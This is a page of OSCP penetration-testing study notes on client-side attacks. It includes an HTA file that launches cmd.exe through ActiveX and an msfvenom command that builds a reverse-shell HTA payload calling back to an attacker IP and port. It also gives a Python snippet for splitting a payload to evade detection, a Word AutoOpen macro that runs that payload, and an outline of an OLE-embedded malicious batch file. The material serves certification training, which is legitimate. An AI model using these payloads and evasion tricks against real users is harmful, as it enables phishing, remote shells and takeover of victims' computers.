> For the complete documentation index, see [llms.txt](https://h3ckt0r.gitbook.io/0xsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://h3ckt0r.gitbook.io/0xsec/offensive-security/oscp/module-13-clint-side-attacks.md).

# Module 13 (Clint Side Attacks)

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2FHs1zijbT27sb0CI02K7a%2Fimage.png?alt=media&amp;token=a88fd517-4376-4ac5-afb2-66764d4593ab" alt=""><figcaption></figcaption></figure>

### Know Your Target (Enum)

* **Passive Enumeration:**
  * Identify the victim's browser.
* **Active Enumeration:**
  * **Social Engineering:**
    * Craft messages or scenarios to manipulate users into revealing sensitive information or performing actions.

### Leveraging HTML Apps <a href="#leveraging-html-apps" id="leveraging-html-apps"></a>

* **Tool:** [**fingerprintjs2**](https://github.com/LukasDrgon/fingerprintjs2)
  * A JavaScript library to uniquely identify a browser based on its features.
* **HTA Attack:**
  * Create an HTA (HTML Application) to execute malicious scripts.
    * Example HTA file (`file.hta`):

      ```html
      <!DOCTYPE html>
      <html>
      <head>
          <script>
          var x='cmd.exe'
          new ActiveXObject('WScript.shell').Run(x);
          </script>
      </head>
      <body>
          <script> self.close() </script> 
      </body>
      </html>
      ```
    * Copy the HTA file to a web server:

      ```sh
      sudo cp file.hta /var/www/html/file2.hta
      ```
    * Generate an HTA payload with msfvenom:

      ```bash
      sudo msfvenom -p windows/shell_reverse_tcp LHOST=192.168.114.134 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta
      ```

<figure><img src="https://4250388013-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FcgRjLSWS0JF8FXrQAeJd%2Fuploads%2Ftkv90IRZqFoaKxBG2dNs%2Fimage.png?alt=media&amp;token=dd285dc0-5938-49ef-9937-85d8a15b30c5" alt=""><figcaption></figcaption></figure>

### Exploiting Microsoft Office <a href="#exploiting-microsoft-office" id="exploiting-microsoft-office"></a>

* **Word Macro:**
  * Split the payload to evade detection.

    ```
    str="" # payload from msfvenom
    n=50
    for i in range(0,len(str),n):
        print "str = Str +" + '"' + str[i:i+n] + '"'
    ```
  * Add the split payload to a Word Macro (`document.docm`).

    Copy

    ```
    Sub AutoOpen()
        test1
    End Sub

    Sub Doc_Open()
        test1
    End Sub

    Sub test1()
        Dim Str As String
        ' Add the splitted payload here
        CreateObject("Wscript.shell").Run Str
    End Sub
    ```
* **Object Linking and Embedding (OLE):**
  * Create an evil batch file (`evil.bat`).
  * Create a link object in the Word document (`document.docm`).

**Resources:**

* [fingerprintjs2 GitHub Repository](https://github.com/LukasDrgon/fingerprintjs2)
* [Metasploit Framework (msfvenom)](https://www.metasploitunleashed.com/msfvenom/)
* [Microsoft VBA Programming](https://docs.microsoft.com/en-us/office/vba/api/overview/)
